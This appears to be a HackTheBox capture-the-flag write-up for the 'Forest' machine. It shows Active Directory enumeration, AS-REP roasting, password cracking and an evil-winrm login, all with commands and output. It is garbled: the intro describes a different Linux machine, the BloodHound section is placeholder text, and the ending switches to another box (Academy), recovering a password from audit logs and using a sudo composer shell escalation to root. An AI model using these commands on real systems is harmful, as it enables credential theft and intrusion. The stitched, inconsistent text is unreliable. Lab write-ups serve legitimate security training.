Forest

#Windows #Enumeration #LDAP #BloodHound

Forest is an easy-rated Linux machine from HackTheBox, created by egre55 and mrb3n. In the current post, my IP is 10.10.14.131, and the target IP is 10.129.110.133

This machine features an apache server hosting a PHP website. The website doesn't look special until you intercept the registration process, where you can change a obvious parameter to change your privileges to that account, then when you fuzz the website, you find an admin login url. In that URL there is an sub-domain with error logs from Laravel, revealing in the process the API_KEY used for an exploit for RCE. Inside the machine, there are a lot of techniques used to pivot between users and the change your user to root.

Recon

The first steps are about getting basic information about the target, by using nmap and searching information from the website.

Local Terminal
$ ping -c 1 10.129.110.133
PING 10.129.110.133 (10.129.110.133) 56(84) bytes of data.
64 bytes from 10.129.110.133: icmp_seq=1 ttl=62 time=185 ms

--- 10.129.110.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 185.427/185.427/185.427/0.000 ms

By the TTL (Close to 128), we can assume that is a Window Machine.

Local Terminal
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.159.205 -oG Ports

Nmap scan report for 10.129.159.205
Host is up, received echo-reply ttl 127 (0.16s latency).
Scanned at 2023-06-12 09:38:45 Pacific SA Standard Time for 19s
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49671/tcp open  unknown          syn-ack ttl 127
49676/tcp open  unknown          syn-ack ttl 127
49677/tcp open  unknown          syn-ack ttl 127
49681/tcp open  unknown          syn-ack ttl 127
49695/tcp open  unknown          syn-ack ttl 127
63040/tcp open  unknown          syn-ack ttl 127

Read data files from: C:\Program Files (x86)\Nmap
Local Terminal
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49681,49695,63040 10.129.159.205
Nmap scan report for 10.129.159.205
Host is up (0.15s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-06-12 13:46:50Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds      Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf            .NET Message Framing
47001/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc             Microsoft Windows RPC
49665/tcp open  msrpc             Microsoft Windows RPC
49666/tcp open  msrpc             Microsoft Windows RPC
49667/tcp open  msrpc             Microsoft Windows RPC
49671/tcp open  msrpc             Microsoft Windows RPC
49676/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc             Microsoft Windows RPC
49681/tcp open  msrpc             Microsoft Windows RPC
49695/tcp open  msrpc             Microsoft Windows RPC
63040/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-06-12T13:47:53
|_  start_date: 2023-06-12T13:02:41
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-06-12T06:47:51-07:00
|_clock-skew: mean: 2h26m50s, deviation: 4h02m30s, median: 6m49s

From nmap we have a lot of information:

  • The port 53 (Simple DNS Plus) is open, this program could be vulnerable to Zone Transfer Attack.

  • Port 135 (MSRPC), the core of the "Remote Procedure Call", used to create and manage remote sessions

  • Port 385 (LDAP - Lightweight Directory Access Protocol), contain all the information about the Active Directory, enabling the access to files and devices inside the public or corporative intranet.

Through nmap we found the domain name, add it to "/etc/hosts" as "10.129.159.205 htb.local"

Local Terminal
$ crackmapexec smb 10.129.159.205

SMB         10.129.159.205  445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)

Ok, there is a Windows Server working.

LDAP Recon

From here, every command are specific steps to scan machines with LDAP orientation

Local Terminal
$ dig @10.129.159.205 mx
; <<>> DiG 9.18.12-1-Debian <<>> @10.129.159.205 mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 45435
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 30a0b50f8f47e1fb (echoed)
;; QUESTION SECTION:
;.                              IN      NS

;; Query time: 4681 msec
;; SERVER: 10.129.159.205#53(10.129.159.205) (UDP)
;; WHEN: Mon Jun 12 14:01:41 UTC 2023
;; MSG SIZE  rcvd: 40
Local Terminal
$ dig @10.129.159.205 ds

<... Not Working ...>
Local Terminal
$ dig @10.129.159.205 axfr

; <<>> DiG 9.18.12-1-Debian <<>> @10.129.159.205 axfr
; (1 server found)
;; global options: +cmd
;; Query time: 2449 msec
;; SERVER: 10.129.159.205#53(10.129.159.205) (UDP)
;; WHEN: Mon Jun 12 14:02:35 UTC 2023
;; MSG SIZE  rcvd: 40

AXFR does not show subdomains, this means that the target is not vulnerable to Zone Transfer Attack.

Now we will get information from RPCclient using first, a null session.

Local Terminal
rpcclient -U "" 10.129.159.205 -N -c 'enumdomusers'
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

With this, we got a list with every user name, but we want this in a file, this can be done with the following command:

Local Terminal
rpcclient -U "" 10.129.159.205 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v 0x | tr -d [] > users_file

Exploring groups,

Local Terminal
rpcclient -U "" 10.129.159.205 -N -c 'enumdomgroups'
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200] #This!
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

List with every group, there is an important group called "Domain Admins", let's see if we can get more information.

Local Terminal
rpcclient -U "" 10.129.159.205 -N -c 'querygroupmem 0x200'
        rid:[0x1f4] attr:[0x7]

Only one user.

Local Terminal
rpcclient -U "" 10.129.159.205 -N -c 'queryuser 0x1f4'
        User Name   :   Administrator
        Full Name   :   Administrator
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :   Built-in account for administering the computer/domain
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Mon, 12 Jun 2023 09:03:24 -04
        Logoff Time              :      Wed, 31 Dec 1969 21:00:00 -03
        Kickoff Time             :      Wed, 31 Dec 1969 21:00:00 -03
        Password last set Time   :      Mon, 30 Aug 2021 20:51:59 -04
        Password can change Time :      Tue, 31 Aug 2021 20:51:59 -04
        Password must change Time:      Wed, 13 Sep 30828 23:48:05 -03
        unknown_2[0..31]...
        user_rid :      0x1f4
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000062
        padding1[0..7]...
        logon_hrs[0..21]...

Nothing here... and so on, if you want to learn more about RPCclient, go to the following site

Reverse Shell

Now that we have a file called users_file with the list of users, we can use GetNPUsers.py

Local Terminal
GetNPUsers.py htb.local/ -no-pass -usersfile users_file
<...>
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:3b0f368abedda0972f6ce084d710db99$59e079cf158fece898df6512b1ad9177bf4512f6b5f9e405f88f4485fb07846f4b4d15df5e62bf864a63e0789ba6f79052a9487b56ff27bd1b063f673e74cac3c2779ca8b3e3ef293c29f609410c77cae1850b35c88433f33b984c87e37ed7cddaf0e8c85bca533ff0d55b48c943e34dcef60afa22d34d0cac141dac63af6ef8d5716cbe8d479486eec96e3e85ddbbe3b4c72835bb3d552e3a47790efd1ad78170df5c27864de75ef4f7c0c93377c3df329e0223a132f7c03399e2ce98b087ac7414b540d0e983707d8beb0122d4391ed8df0263bb94fe5a30b87040d0368ca052c4feb27854
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
<...>

There is one user, called svc-alfresco vulnerable to this kind of attack, save the hash in a file and then decrypt.

Local Terminal
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
s3rvice          (?)
1g 0:00:00:01 DONE (2023-06-12 15:46) 0.6024g/s 2462Kp/s 2462Kc/s 2462KC/s s521379846..s2698813
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Information at the momment > user:pass svc-alfresco:s3rvice

Because the port 5985 (winrm) it's open, we can if it's valid to login inside the machine.

Local Terminal
crackmapexec winrm 10.129.159.205 -u 'svc-alfresco' -p 's3rvic
e'
SMB         10.129.159.205  5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP        10.129.159.205  5985   FOREST           [*] http://10.129.159.205:5985/wsman
WINRM       10.129.159.205  5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

There is a plus, so it is valid.

Local Terminal
evil-winrm -i 10.129.159.205 -u 'svc-alfresco' -p 's3rvice'

And we are in!

Setting BloodHound

Target [svc-alfresco]
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type C:\Users\svc-alfresco\Desktop\user.txt
c767eff6cef5b1aa69a9a407faa51673

First, to be sure, we execute some commands to get information.

Target [svc-alfresco]
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::105
   IPv6 Address. . . . . . . . . . . : dead:beef::ad1d:caa5:2dd5:3e1c
   Link-local IPv6 Address . . . . . : fe80::ad1d:caa5:2dd5:3e1c%5
   IPv4 Address. . . . . . . . . . . : 10.129.159.205
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:2bb5%5
                                       10.129.0.1

Tunnel adapter isatap..htb:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : .htb


*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user svc-alfresco
User name                    svc-alfresco
Full Name                    svc-alfresco
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/12/2023 1:09:30 PM
Password expires             Never
Password changeable          6/13/2023 1:09:30 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/12/2023 12:55:53 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Service Accounts
The command completed successfully.

Local Terminal

Local Terminal
$ apt install neo4j bloodhound

$ 
Target [svc-alfresco]

asdasdd

Target [svc-alfresco]
Target [svc-alfresco]
Target [svc-alfresco]

asdasdd

Target [svc-alfresco]
Target [svc-alfresco]
Target [svc-alfresco]

asdasdd

Target [svc-alfresco]
Target [svc-alfresco]
Target [svc-alfresco]

asdasd

User Pivoting [mrb3n]

Target Terminal [cry0l1t3]
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)

The user is from the group adm, maybe we can use an specific command or read some logs.

Target Terminal [cry0l1t3]
$ cd /

$ find \-group adm 2>/dev/null
<...>
./var/log/apt/term.log.3.gz
./var/log/apt/term.log.1.gz
./var/log/apt/term.log.4.gz
./var/log/apt/term.log
./var/log/audit
./var/log/audit/audit.log.2
./var/log/audit/audit.log
./var/log/audit/audit.log.3
./var/log/audit/audit.log.1
./var/log/syslog.4.gz
./var/log/syslog.7.gz
./var/log/auth.log.2.gz
./var/log/auth.log.1
./var/log/syslog.3.gz
<...>

Usually the logs located at /var/log/audit/ are important, but they have a LOT of information, a good alternative is to use "grep" to find relevant data.

Target Terminal [cry0l1t3]
$ cd /var/log/audit/

# Remember that our current uid is 1002, so we need another one.
$ grep -r "uid=1001" | grep "cmd"
audit.log:type=USER_CMD msg=audit(1612880564.224:115): pid=1336 uid=1001 auid=1001 ses=1 msg='cwd="/home/mrb3n" cmd=636F6D706F736572202D2D776F726B696E672D6469723D2F746D702F746D702E6F4A4833443269514D322072756E2D7363726970742078 terminal=tty1 res=success'
audit.log:type=USER_CMD msg=audit(1612880564.412:119): pid=1353 uid=0 auid=1001 ses=1 msg='cwd="/tmp/tmp.oJH3D2iQM2" cmd=7375646F202D4B terminal=tty1 res=success'
audit.log:type=USER_CMD msg=audit(1612880607.016:128): pid=1788 uid=0 auid=1001 ses=1 msg='cwd="/tmp/tmp.oJH3D2iQM2" cmd=2F7573722F62696E2F656469746F72202D2D202F terminal=tty1 res=success'
<...>

# From here, we want:
# 2F7573722F62696E2F656469746F72202D2D202F
# Between "cmd=" and "terminal=

From here, we want a hash like "2F7573722F62696E2F656469746F72202D2D202F" between cmd= and Terminal=, to apply xxd -ps -r

Target Terminal [cry0l1t3]
grep -r "uid=1001" | grep "cmd" | grep -oP '(?<=cmd=).*(?= terminal)' | sort -u | xxd -ps -r

Nothing here, now we will tesst with uid=1000

Target Terminal [cry0l1t3]
grep -r "uid=1000" | grep "cmd" | grep -oP '(?<=cmd=).*(?= terminal)' | sort -u | xxd -ps -r

But there is another interesting rows, the ones that contain "TYPE=tty" and "data="

Target Terminal [cry0l1t3]
grep -r tty | grep -oP '(?<=data=).*' | sort -u | xxd -ps -r ; echo
exithistory
mrb3n_Ac@d3my!
su mrb3n
whoami
cat dat
<...>
Target Terminal [cry0l1t3]
su mrb3n   # Password: mrb3n_Ac@d3my!

Privileges Escalation

Target Terminal [mrb3n]
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)

$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

At GTFOBin there is a way to escalate privileges with sudo using composer

Target Terminal [mrb3n]
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
Target Terminal [root]
$ whoami
root

$ cat /root/root.txt
e13da1f49d8d784bffa5504154a3d8f8

Last updated